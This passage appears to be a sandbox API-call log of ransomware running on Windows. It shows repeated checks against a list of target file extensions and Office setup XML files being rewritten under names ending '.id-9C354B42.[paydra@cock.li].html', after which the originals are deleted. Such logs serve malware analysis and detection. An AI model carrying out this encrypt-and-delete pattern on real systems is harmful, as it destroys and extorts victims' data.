Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.268] lstrlenW (lpString=".1cd") returned 4 [0037.268] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.268] lstrlenW (lpString=".jpg") returned 4 [0037.268] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.268] lstrlenW (lpString=".doc") returned 4 [0037.268] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString=".docx") returned 5 [0037.268] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.268] lstrlenW (lpString=".pdf") returned 4 [0037.268] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString=".xls") returned 4 [0037.268] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.268] lstrlenW (lpString=".xlsx") returned 5 [0037.269] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.269] lstrlenW (lpString=".ppt") returned 4 [0037.269] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.269] lstrlenW (lpString=".zip") returned 4 [0037.269] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.269] lstrlenW (lpString=".rar") returned 4 [0037.269] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.269] lstrlenW (lpString=".bz2") returned 4 [0037.269] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.269] lstrlenW (lpString=".7z") returned 3 [0037.269] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.269] lstrlenW (lpString=".dbf") returned 4 [0037.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.269] lstrlenW (lpString=".1cd") returned 4 [0037.269] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0037.269] lstrlenW (lpString=".jpg") returned 4 [0037.269] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.269] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.269] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0037.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.270] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=913) returned 1 [0037.270] CloseHandle (hObject=0x19c) returned 1 [0037.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0037.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.270] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.270] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.273] GetLastError () returned 0x0 [0037.273] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x391, lpOverlapped=0x0) returned 1 [0037.276] WriteFile (in: hFile=0x1ac, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0037.277] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.277] WriteFile (in: hFile=0x1ac, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xee, lpOverlapped=0x0) returned 1 [0037.277] SetEndOfFile (hFile=0x1ac) returned 1 [0037.277] CloseHandle (hObject=0x1ac) returned 1 [0037.278] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.278] SetEndOfFile (hFile=0x19c) returned 1 [0037.278] CloseHandle (hObject=0x19c) returned 1 [0037.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0037.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.279] lstrlenW (lpString=".doc") returned 4 [0037.279] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.279] lstrlenW (lpString=".docx") returned 5 [0037.279] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.279] lstrlenW (lpString=".pdf") returned 4 [0037.279] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.279] lstrlenW (lpString=".xls") returned 4 [0037.279] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.279] lstrlenW (lpString=".xlsx") returned 5 [0037.279] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.279] lstrlenW (lpString=".ppt") returned 4 [0037.279] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.279] lstrlenW (lpString=".zip") returned 4 [0037.279] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.279] lstrlenW (lpString=".rar") returned 4 [0037.279] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.279] lstrlenW (lpString=".bz2") returned 4 [0037.279] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".7z") returned 3 [0037.280] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString=".dbf") returned 4 [0037.280] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString=".1cd") returned 4 [0037.280] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString=".jpg") returned 4 [0037.280] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString=".doc") returned 4 [0037.280] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".docx") returned 5 [0037.280] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.280] lstrlenW (lpString=".pdf") returned 4 [0037.280] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".xls") returned 4 [0037.280] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".xlsx") returned 5 [0037.280] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.280] lstrlenW (lpString=".ppt") returned 4 [0037.280] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.280] lstrlenW (lpString=".zip") returned 4 [0037.280] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.280] lstrlenW (lpString=".rar") returned 4 [0037.280] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".bz2") returned 4 [0037.280] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.280] lstrlenW (lpString=".7z") returned 3 [0037.280] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.281] lstrlenW (lpString=".dbf") returned 4 [0037.281] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.281] lstrlenW (lpString=".1cd") returned 4 [0037.281] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0037.281] lstrlenW (lpString=".jpg") returned 4 [0037.281] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.281] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.281] lstrlenW (lpString="SETUP.XML") returned 9 [0037.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.288] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1452) returned 1 [0037.288] CloseHandle (hObject=0x184) returned 1 [0037.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0037.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.289] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.289] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.289] GetLastError () returned 0x0 [0037.289] ReadFile (in: hFile=0x184, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0037.292] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0037.293] ReadFile (in: hFile=0x184, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.293] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.293] SetEndOfFile (hFile=0x19c) returned 1 [0037.294] CloseHandle (hObject=0x19c) returned 1 [0037.294] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.294] SetEndOfFile (hFile=0x184) returned 1 [0037.295] CloseHandle (hObject=0x184) returned 1 [0037.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.295] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0037.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.295] lstrlenW (lpString=".doc") returned 4 [0037.295] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.295] lstrlenW (lpString=".docx") returned 5 [0037.296] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.296] lstrlenW (lpString=".pdf") returned 4 [0037.296] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString=".xls") returned 4 [0037.296] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString=".xlsx") returned 5 [0037.296] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.296] lstrlenW (lpString=".ppt") returned 4 [0037.296] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString=".zip") returned 4 [0037.296] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.296] lstrlenW (lpString=".rar") returned 4 [0037.296] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString=".bz2") returned 4 [0037.296] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString=".7z") returned 3 [0037.296] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString=".dbf") returned 4 [0037.296] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString=".1cd") returned 4 [0037.296] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString=".jpg") returned 4 [0037.296] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.296] lstrlenW (lpString=".doc") returned 4 [0037.296] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.296] lstrlenW (lpString=".docx") returned 5 [0037.296] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.297] lstrlenW (lpString=".pdf") returned 4 [0037.297] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString=".xls") returned 4 [0037.297] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString=".xlsx") returned 5 [0037.297] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.297] lstrlenW (lpString=".ppt") returned 4 [0037.297] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.297] lstrlenW (lpString=".zip") returned 4 [0037.297] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.297] lstrlenW (lpString=".rar") returned 4 [0037.297] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString=".bz2") returned 4 [0037.297] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString=".7z") returned 3 [0037.297] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.297] lstrlenW (lpString=".dbf") returned 4 [0037.297] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.297] lstrlenW (lpString=".1cd") returned 4 [0037.297] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0037.297] lstrlenW (lpString=".jpg") returned 4 [0037.297] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.297] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.297] lstrlenW (lpString="SETUP.XML") returned 9 [0037.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.298] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1852) returned 1 [0037.298] CloseHandle (hObject=0x184) returned 1 [0037.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0037.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.298] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.298] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.298] GetLastError () returned 0x0 [0037.298] ReadFile (in: hFile=0x184, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x73c, lpOverlapped=0x0) returned 1 [0037.307] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x740, lpOverlapped=0x0) returned 1 [0037.307] ReadFile (in: hFile=0x184, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.307] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.308] SetEndOfFile (hFile=0x19c) returned 1 [0037.308] CloseHandle (hObject=0x19c) returned 1 [0037.308] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.308] SetEndOfFile (hFile=0x184) returned 1 [0037.309] CloseHandle (hObject=0x184) returned 1 [0037.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0037.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".doc") returned 4 [0037.310] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".docx") returned 5 [0037.310] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.310] lstrlenW (lpString=".pdf") returned 4 [0037.310] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".xls") returned 4 [0037.310] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".xlsx") returned 5 [0037.310] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.310] lstrlenW (lpString=".ppt") returned 4 [0037.310] lstrcmpiW 